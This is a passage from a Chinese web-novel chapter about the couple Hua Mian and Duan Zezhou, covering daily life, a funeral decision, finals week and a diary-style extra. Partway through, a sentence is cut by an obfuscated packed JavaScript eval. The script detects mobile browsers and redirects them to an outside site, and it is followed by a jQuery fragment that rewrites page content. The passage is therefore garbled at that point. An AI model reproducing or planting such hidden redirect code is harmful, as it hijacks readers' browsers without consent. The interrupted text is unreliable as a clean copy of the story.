花眠美滋滋地拨开这颗爱媛,连白色的筋都挑得干干净净后,掰了一瓣放到段泽洲嘴里:“好吃吗?”
段泽洲面容扭曲地说:“酸死我了!”
花眠不信,自己也掰了一瓣放进嘴里,然后同样面容扭曲地说:“真的好酸!”
两个人凑合着吃了这个爱媛,期间很是上演了一番尊老爱幼互相谦让,谁都不想让对方少吃一点,总算是把这个酸掉牙的爱媛干掉了。
段泽洲嘴都麻了:“我在他们那儿吃的也没这么酸啊!”
花眠已经瘫倒在沙发上了,出个声儿都觉得嘴里难受。
两个人一坐一躺,默默无言地在沙发上沉默了一会儿。
几分钟之后,花眠终于觉得自己缓过来了。他从沙发上爬起来,靠在段泽洲肩膀上,说:“今天回去又遭受什么批评啦?”
段泽洲走律师这条路是被段恒逼的——他们这间律所,是段恒和另一位合伙人一起设立的。
母亲是一名法医,也任海城医科大学的教授。
乍听起来会是很可怕的家庭氛围,但好在老头老太太性格都不错,教育孩子也很有自己的方法。
段泽洲成年之后,他们对待这个唯一的儿子,基本上是抓小放大——大事让段泽洲自己决定,只管些鸡毛蒜皮的小事,像什么吃外卖、吃水果、穿衣服、调整作息之类的,听得段泽洲火大。
听到花眠的话,段泽洲笑了一下,说:“还是老一套呗,还能说什么。”
之后,段泽洲思考了几秒钟,又说:“提了一嘴沈重的事。”
段恒和沈重的父亲、钟意的母亲算是青梅竹马一起长大的,虽说长大之后各自走上了不同的道路,但这么长时间的交情,就算是看着祖上的面子,也总要维持表面上的和平。
当时段泽洲和沈重闹得那么不愉快,段恒和沈重的父亲也没有撕破脸。
这些事,花眠都是知道的。
段泽洲继续说:“你也知道,沈家对沈重没那么看重,所以葬礼办得很简单,也没有请任何人。我爸本来是觉得毕竟也算是有交情,该出席一下,但怕你觉得不舒服,就让我问问你的意思。”
他用下巴碰了碰花眠的额头,温声说:“你不要觉得这是负担,因为沈家本来也没有邀请。如果你觉得……有什么不好,那你就告诉我。”
花眠没说话。
花眠是个体贴也体面的人,这样的沉默,就是他的回答。
段泽洲明白了他的意思,说:“我给我爸转点钱过去,让他转交给沈伯父吧。”
花眠张了张嘴,不知想说什么。
他又沉默了一会儿,那些话咽回了肚子里。
那晚睡觉时,段泽洲发现卧室里微妙地多了一些东西。
比如床头上放了一盒头绳,卫生间里多了一瓶果香味的洗发水,小沙发上多了一个柔软的鹅黄色小抱枕。
渐渐开始有了些两个人一起生活的痕迹。
他心情很好地拉着花眠坐到床上,指了指自己的侧脸:“亲一下。”
花眠很乖地靠过去,小鸡啄米一样吧唧亲了一口。
这天晚上,段泽洲同样不知道花眠什么时候睡着的,次日睡醒后,也同样在自己怀里摸到了一个熟睡的小爱人。
*
再之后的日子过得还算安生。
花眠进入了期末周。
好在大四的课
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033515|194592||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
程没那么多,一共只有一门必修和一门选修。
花眠学习成绩还行,是勉勉强强能拿个最低档奖学金的水平。
最近他跑学校的次数多了一些,但他还是没办法像其他同学一样整日赖在老师的办公室求他们画些重点,便窝在图书馆,等待好心同学的投喂。
在同学面前,他不太爱说话,但他长得好看,人也不傲气,人缘还算可以。
这天他去了一趟宿舍。
他不住宿舍,一早就退了床,这个床位被其他几位室友改造成了储物间。现在快毕业了,堆满了各色的考研资料和宣讲广告。
花眠好奇地看了一会儿,笑了笑。
他的室友有个挺活泼的Alpha,叫柴璇璇,同学们叫他小柴,他总是很不满意,觉得像在叫狗狗。
小柴挥了挥自己的笔记,说:“借你复印。”
花眠立刻道:“谢谢你啊。”
小柴约了女朋友出去吃饭,刚好要出门,便和花眠一道出去。
路上小柴问起花眠以后的打算:“以后怎么打算?我看你没有准备考研哦?”
花眠摇了摇头:“没有呢。”
花眠现在这个学费,还是段泽洲付的。
他实在不好意思让段泽洲再给他继续支付学费了。
花眠没有父母,在最该和同龄人放肆交流的年纪又遇人不淑,终于摆脱枷锁后,他身边只有一个段泽洲。
段泽洲是爱人,是朋友,也是兄长。
他对花眠有种过度的溺爱,但花眠并不能一直这样心安理得地接受着段泽洲的付出。
段泽洲曾说给他开间甜品店,反正他喜欢做这些。
但花眠想了想,还是拒绝了,拒绝的理由也很有趣:“我不想自己开店,我想去别人的店里打工。”
他到现在仍然愿意这样,只是……毕竟总也不见外人,心里还是有些抵触。
他想了一会儿,和小柴说:“大概还是先维持现状呢,柴柴。”
柴璇璇很不满地说:“什么‘柴柴’?不许叫我‘柴柴’!”
花眠小心地说:“好吧,柴柴。”
“可恶,花眠!”柴璇璇怒道,“你好烦!”
花眠笑弯了眼睛。
*
段老师养花日记(2)
果然是腿部骨折了。
问了一下还是个无父无母的小可怜蛋,段老师发挥了自己出色的同情心,帮他办了入院手续,还垫付了医药费,功德+1(敲木鱼)。
来的交警还是个老熟人。
哼哼,别想讹我。
但这人有点意思哈,他居然主动说是他全责,不关我的事。
看他如此诚实,段老师又心软了,下楼点了个很好吃的外卖请他吃饭。
他又不吃,浪费。
我说:“小朋友,你不好好吃饭,难怪这么瘦。”
我还吓唬他:“不好好吃饭,你腿也好不了。”
花眠看我。
很憔悴,也很平静。
他没回答我的话,只让我走,说什么我再不走就走不了了。
说完他又不理我了,盖上被子往头上一蒙,说要睡觉。
我真的是无语,他床都没摇下来,没见过有人这么睡觉的。
临走时我不放心,又看了一眼。
这人维持原样躺在床上。
看着挺可怜的,连呼吸都很微弱的样子。
我真是太善良了,我又回去把窗户给他关上了。
段老师功德+1+1。
住院部楼下的花坛不知道多久没人清理了,很多花都枯萎了。
我看了一眼,不知怎么想起了楼上的人。
他也很像一朵枯萎了的花。